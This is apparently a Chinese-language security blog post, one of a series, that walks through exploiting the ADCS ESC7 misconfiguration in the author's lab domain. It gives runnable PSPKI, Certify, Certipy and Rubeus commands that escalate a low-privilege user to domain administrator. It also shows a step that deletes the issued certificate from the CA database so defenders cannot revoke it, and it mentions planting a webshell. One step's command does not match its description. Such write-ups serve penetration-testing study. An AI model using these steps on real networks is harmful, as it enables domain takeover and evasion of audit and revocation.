AD域-ADCS错误配置-ESC7
2023-12-08 / 共计2475 字
对未来真正的慷慨,是把一切献给现在
True generosity towards the future lies in giving everything to the present.
ADCS-ESC配置错误文章目录:
- ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
- ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
- ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
- ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
- ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
- ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
- ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/
在《Certified Pre-Owned – Abusing Active Directory Certificate Services》中,不仅仅提到了证书配置错误方面的问题,当证书颁发机构访问权限配置不当时,也存在相应的问题。这里主要的两个权限是ManageCA权限和ManageCertificates权限,也就是就是“管理CA”和“颁发和管理证书”。
ESC7错误配置
在ADCS服务器上证书颁发机构给User添加权限:
在ADCS服务器上证书颁发机构给Users用户添加“颁发和管理证书”,“管理CA”权限:
使用PSPKI模块查询CA的权限,可以看到Users用户有了ManageCA,ManageCertificates的权限:
利用一、启用_EDITF_ATTRIBUTESUBJECTALTNAME2_
(当EDITF_ATTRIBUTESUBJECALTNAME2修改时,需要重启CertSvc服务才能生效,拥有ManageCA、ManageCertificates权限并不能远程重启服务,故该方式利用有限) 在 ESC6中提到,当EDITF_ATTRIBUTESUBJECALTNAME2启用时,任何请求都可以定义任意值在alternative name中。当用户拥有ManageCA(管理CA)权限时,就有权限修改启用EDITF_ATTRIBUTESUBJECTALTNAME2标志从而来执行ESC6攻击:
使用PSPKI启用EDITF_ATTRIBUTESUBJECTALTNAME2:
Import-Module -Name PSPKI
$configReader=New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "DC1.t0ngmystictestad.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376950,"EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
利用Certify.exe工具探测EDITF_ATTRIBUTESUBJECTALTNAME2是否开启:
Certify.exe find /vulnerable
在 AD域-ADCS错误配置-ESC5-ESC6中提到的修改EDITF_ATTRIBUTESUBJECALTNAME2需要重启CertSvc服务才能生效,但拥有了证书颁发机构的权限(ManageCA权限和ManageCertificates权限),并不能够远程重启ADCS的CertSvc服务(我这里使用PSPKI重启总是报错,我猜测拥有证书颁发机构的权限,但是对于服务的启动和关闭还是没有权限)
Get-CertificationAuthority | Stop-CertificationAuthority
以Administrator域管用户身份可远程关闭:
Import-Module PSPKI
Get-CertificationAuthority | Restart-CertificationAuthority
---OR---
Import-Module PSPKI
Get-CertificationAuthority | Stop-CertificationAuthority
Get-CertificationAuthority | Start-CertificationAuthority
由于无法以低权限用户远程重启CertSvc服务,这里直接在ADCS服务器上重启了:
利用Certify.exe工具伪造administrator身份请求User证书:
Certify.exe request /ca:DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA /template:User /altname:administrator
转换证书格式为pfx:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
利用Rubeus.exe工具利用伪造administrator身份的证书请求域管的tgt,并植入内存:
rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.111.11 /ptt
成功提权administrator并访问域控服务器:
dir \\dc1.t0ngmystictestad.com\c$
利用二、修改证书ACL
上面一种利用方式,由于启用EDITF_ATTRIBUTESUBJECALTNAME2需要重启CertSvc服务才能生效,导致利用有限。那么还记得ADCS的 ESC4利用方式吗?当证书给低权限用户配置了写权限,从而可以改写证书的配置,进而进行利用提权。当用户拥有ManageCertificates权限时,就可以改写证书模板的ACl权限,从而让低权限用户有写权限,从而使用ESC4方法进行提权。
l利用Certify.exe工具查询ESC7证书模板权限,可以看见目前user1用户并没有任何权限:
Certify.exe find
使用PSPKI修改ESC7证书模板的ACl,给T0NGMYSTICTESTA\user1用户添加所有权限:
Get-CertificateTemplate -Name ESC7 | Get-CertificateTemplateAcl | Add-CertificateTemplateAcl -Identity T0NGMYSTICTESTA\user1 -AccessType Allow -AccessMask FullControl | Set-CertificateTemplateAcl
再次查询ESC7证书模板,发现user1拥有了ESC7完全控制权:
如此ESC7就符合了ESC4的利用条件,直接使用ESC4的利用方式进行提权即可,ESC4详细利用方式在 # AD域-ADCS错误配置-ESC4。
利用三、发布证书、颁发失败证书
(这里由于Certify.exe没找到颁发失败证书功能,故使用了Certipy+PSPKI) 这里从属证书颁发机构证书(SubCA)模板没有发布(默认是发布的):
使用PSPKI发布SubCA(从属证书颁发机构证书):
Import-Module PSPKI
Get-CertificationAuthority | Get-CATemplate | Add-CATemplate -Name "SubCA" | Set-CATemplate
利用Certipy请求SubCA证书,由于该证书只允许管理员请求,会失败,记下private和RequestID(主要是RequestID:107):
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template SubCA -upn [email protected] -debug
利用Certipy的ca -issue-request颁发失败的证书:
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -retrieve 107
重新请求获取107证书:
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -retrieve 107
利用Rubeus请求administrator域管的tgt并注入内存:
rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /dc:192.168.111.11 /ptt
成功提权域管并访问域控服务器:
拥有ManageCA权限和ManageCertificates权限,同样也可以批准需管理员审批而挂起的证书(不再赘述)
利用四、痕迹隐藏
当拥有ManageCA权限和ManageCertificates权限或者已经提权至域管权限后,可以利用PSPKI调用接口将申请的证书痕迹从 CA 数据库中删除,从而隐藏提权痕迹,由于申请的证书已从CA数据库中删除,运维人员也无法直接吊销该证书,只要管理员账号还在,就能一直使用,从而维持权限。
(用来提权的108号证书)在ADCS服务器中看见108证书,运维人员可以随时吊销:
利用PSPKI将108证书从CA数据库中删除:
Get-CertificationAuthority DC1.t0ngmystictestad.com | Get-IssuedRequest -RequestID 108 | Remove-AdcsDatabaseRow
现在108号证书在ADCS服务器中已经无法看到,运维人员无法直接吊销108证书,但是之前申请的108证书仍然可以使用进行提权:
再次利用先前申请的108号证书重新申请TGT,提权至administrator管理员: 成功再次提权访问域控服务器:
看网上的介绍当拥有ManageCA权限和ManageCertificates权限的时候,还可以写文件,当存在IIS服务时,通过写webshell,从而获取IIS服务器的权限。
文笔垃圾,技术欠缺,欢迎各位大师傅请斧正,非常感谢!
如果文章对您有帮助
欢迎关注公众号!
感谢您的支持!